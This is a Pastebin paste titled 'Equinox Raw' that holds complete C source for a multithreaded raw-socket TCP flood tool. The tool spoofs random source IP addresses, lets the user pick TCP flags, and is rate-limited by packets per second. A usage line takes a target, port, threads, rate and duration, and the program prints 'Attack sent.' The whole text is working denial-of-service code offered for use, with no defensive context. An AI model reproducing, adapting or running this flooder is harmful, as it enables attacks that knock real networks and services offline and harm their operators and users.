Advertisement
TNFModding

Equinox Raw

Jul 27th, 2022 (edited)
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.98 KB | None | 0 0
  1. #include <unistd.h>
  2. #include <time.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <sys/ioctl.h>
  6. #include <string.h>
  7. #include <stdlib.h>
  8. #include <stdio.h>
  9. #include <pthread.h>
  10. #include <netinet/tcp.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/in.h>
  13. #include <netinet/if_ether.h>
  14. #include <netdb.h>
  15. #include <net/if.h>
  16. #include <arpa/inet.h>
  17. #define MAX_PACKET_SIZE 4096 // Change this to change max packet size
  18. #define PHI 0x9e3779b9
  19. static unsigned long int Q[4096], c = 362436;
  20. static unsigned int floodport;
  21. volatile int limiter;
  22. volatile unsigned int pps;
  23. volatile unsigned int sleeptime = 100;
  24. int ack,syn,psh,fin,rst,urg,ptr,res2,seq; // TCP Flag Integer
  25. void init_rand(unsigned long int x)
  26. {
  27. int i;
  28. Q[0] = x;
  29. Q[1] = x + PHI;
  30. Q[2] = x + PHI + PHI;
  31. for (i = 3; i < 4096; i++){ Q[i] = Q[i] ^ Q[i] ^ PHI ^ i; }
  32. }
  33. unsigned long int rand_cmwc(void)
  34. {
  35. unsigned long long int t, a = 18782LL;
  36. static unsigned long int i = 4095;
  37. unsigned long int x, r = 0xfffffffe;
  38. i = (i + 1) & 4095;
  39. t = a * Q[i] + c;
  40. c = (t >> 32);
  41. x = t + c;
  42. if (x < c) {
  43. x++;
  44. c++;
  45. }
  46. return (Q[i] = r - x);
  47. }
  48. unsigned short csum (unsigned short *buf, int count) // Basic ass checksum function, If youre going to use I would change
  49. {
  50. register unsigned long sum = 0;
  51. while( count > 1 ) { sum += *buf++; count -= 2; }
  52. if(count > 0) { sum += *(unsigned char *)buf; }
  53. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  54. return (unsigned short)(~sum);
  55. }
  56. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  57.  
  58. struct tcp_pseudo
  59. {
  60. unsigned long src_addr;
  61. unsigned long dst_addr;
  62. unsigned char zero;
  63. unsigned char proto;
  64. unsigned short length;
  65. } pseudohead;
  66. unsigned short total_len = iph->tot_len;
  67. pseudohead.src_addr=iph->saddr;
  68. pseudohead.dst_addr=iph->daddr;
  69. pseudohead.zero=0;
  70. pseudohead.proto=IPPROTO_TCP;
  71. pseudohead.length=htons(sizeof(struct tcphdr));
  72. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  73. unsigned short *tcp = malloc(totaltcp_len);
  74. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  75. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  76. unsigned short output = csum(tcp,totaltcp_len);
  77. free(tcp);
  78. return output;
  79. }
  80. void setup_ip_header(struct iphdr *iph)
  81. {
  82. iph->ihl = 5;
  83. iph->version = 4;
  84. iph->tos = 0;
  85. iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  86. iph->id = htonl(rand()%54321);
  87. iph->frag_off = 0;
  88. iph->ttl = MAXTTL;
  89. iph->protocol = 6;
  90. iph->check = 0;
  91. iph->saddr = inet_addr("192.168.3.100");
  92. }
  93. void setup_tcp_header(struct tcphdr *tcph)
  94. {
  95. tcph->source = rand();
  96. tcph->seq = 1;
  97. tcph->ack = ack;
  98. tcph->ack_seq = 1;
  99. tcph->psh = psh;
  100. tcph->fin = fin;
  101. tcph->rst = rst;
  102. tcph->res2 = res2;
  103. tcph->doff = 5;
  104. tcph->syn = syn;
  105. tcph->urg = urg;
  106. tcph->urg_ptr = urg;
  107. tcph->window = rand();
  108. tcph->check = 0;
  109. }
  110. int sourceports[2] = { 0 }; // This is what makes it different from the public script
  111. void *flood(void *par1)
  112. {
  113. char *td = (char *)par1;
  114. char datagram[MAX_PACKET_SIZE];
  115. struct iphdr *iph = (struct iphdr *)datagram;
  116. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  117. struct sockaddr_in sin;
  118. sin.sin_family = AF_INET;
  119. sin.sin_port = htons(floodport);
  120. sin.sin_addr.s_addr = inet_addr(td);
  121. int s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
  122. if(s < 0){
  123. fprintf(stderr, "Could not open raw socket.\n");
  124. exit(-1);
  125. }
  126. memset(datagram, 0, MAX_PACKET_SIZE);
  127. setup_ip_header(iph);
  128. setup_tcp_header(tcph);
  129. if(floodport == 0)
  130. {
  131. tcph->dest = htons(rand_cmwc() & 0xFFFF);
  132. }
  133. else
  134. {
  135. tcph->dest = htons(floodport);
  136. }
  137. iph->daddr = sin.sin_addr.s_addr;
  138. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  139. int tmp = 1;
  140. const int *val = &tmp;
  141. if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  142. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  143. exit(-1);
  144. }
  145. init_rand(time(NULL));
  146. register unsigned int i;
  147. i = 0;
  148. while(1){
  149. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  150. iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  151. iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  152. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  153. //tcph->seq = rand_cmwc() & 0xFFFF;
  154. int sourceport = rand() % (1 - 0 + 1) + 0;
  155. tcph->source = htons(sourceports[sourceport]);
  156. tcph->check = 0;
  157. tcph->check = tcpcsum(iph, tcph);
  158. pps++;
  159. if(i >= limiter)
  160. {
  161. i = 0;
  162. usleep(sleeptime);
  163. }
  164. i++;
  165. }
  166. }
  167. int main(int argc, char *argv[ ])
  168. {
  169. if(argc < 7){
  170. fprintf(stdout, "Equinox\n");
  171. fprintf(stdout, "Usage: %s [Target] [Port] [Threads] [PPS] [Time] [ACK ECE PSH FIN RST CWR SYN URG]\n", argv[0]);
  172. exit(-1);
  173. }
  174. fprintf(stdout, "Creating Threads.\n");
  175. int num_threads = atoi(argv[3]);
  176. floodport = atoi(argv[2]);
  177. int maxpps = atoi(argv[4]);
  178. limiter = 0;
  179. pps = 0;
  180. pthread_t thread[num_threads];
  181. if(strstr(argv[6], "ACK"))
  182. ack = 1;
  183. else
  184. ack = 0;
  185. if(strstr(argv[6], "ECE"))
  186. res2 = rand();
  187. else
  188. res2 = 0;
  189. if(strstr(argv[6], "PSH"))
  190. psh = 1;
  191. else
  192. psh = 0;
  193. if(strstr(argv[6], "FIN"))
  194. fin = 1;
  195. else
  196. fin = 0;
  197. if(strstr(argv[6], "RST"))
  198. rst = 1;
  199. else
  200. rst = 0;
  201. if(strstr(argv[6], "CWR"))
  202. res2 = rand();
  203. else
  204. res2 = 0;
  205. if(strstr(argv[6], "SYN"))
  206. syn = 1;
  207. else
  208. syn = 0;
  209. if(strstr(argv[6], "URG"))
  210. urg = 1;
  211. else
  212. urg = 0;
  213. int multiplier = 100;
  214. int i;
  215. for(i = 0;i<num_threads;i++){
  216. pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  217. }
  218. fprintf(stdout, "Attack sent.\n");
  219. for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  220. {
  221. usleep((1000/multiplier)*1000);
  222. if((pps*multiplier) > maxpps)
  223. {
  224. if(1 > limiter)
  225. {
  226. sleeptime+=100;
  227. } else {
  228. limiter--;
  229. }
  230. } else {
  231. limiter++;
  232. if(sleeptime > 25)
  233. {
  234. sleeptime-=25;
  235. } else {
  236. sleeptime = 0;
  237. }
  238. }
  239. pps = 0;
  240. }
  241.  
  242. return 0;
  243. }
  244.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement